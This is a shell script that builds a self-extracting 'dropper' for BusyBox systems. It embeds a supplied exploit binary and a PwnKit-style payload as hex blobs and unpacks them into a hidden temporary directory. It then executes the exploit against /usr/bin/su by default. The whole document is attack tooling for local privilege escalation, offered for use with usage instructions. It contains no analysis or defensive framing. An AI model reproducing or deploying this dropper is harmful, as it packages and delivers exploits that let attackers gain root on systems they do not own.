#!/bin/sh # # Build a BusyBox-compatible self-extracting CopyFail runner. # # Usage: # sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh # busybox sh copyfail-busybox.sh /usr/bin/su # # The generated script uses only common BusyBox applets: sh, printf, chmod, # mkdir, rm, cd, and exec. set -eu if [ "$#" -ne 2 ]; then echo "usage: $0 " >&2 exit 1 fi exploit_bin=$1 payload_elf=$2 [ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; } [ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; } emit_file() { src=$1 dst=$2 printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst" od -An -tx1 -v "$src" | awk ' { for (i = 1; i <= NF; i++) { buf = buf "\\x" $i if (length(buf) >= 192) { print buf buf = "" } } } END { if (length(buf)) print buf }' printf "__COPYFAIL_BLOB__\n" } cat <<'EOF' #!/bin/sh set -eu d=${TMPDIR:-/tmp}/.copyfail.$$ mkdir "$d" || exit 1 trap 'rm -rf "$d"' EXIT HUP INT TERM umask 077 write_blob() { out=$1 : > "$out" while IFS= read -r line; do [ "$line" = "__COPYFAIL_BLOB__" ] && break printf '%b' "$line" >> "$out" done } EOF emit_file "$exploit_bin" '$d/exploit_asm' emit_file "$payload_elf" '$d/payload.pwnkit.elf' cat <<'EOF' chmod 700 "$d/exploit_asm" cd "$d" exec ./exploit_asm "${1:-/usr/bin/su}" EOF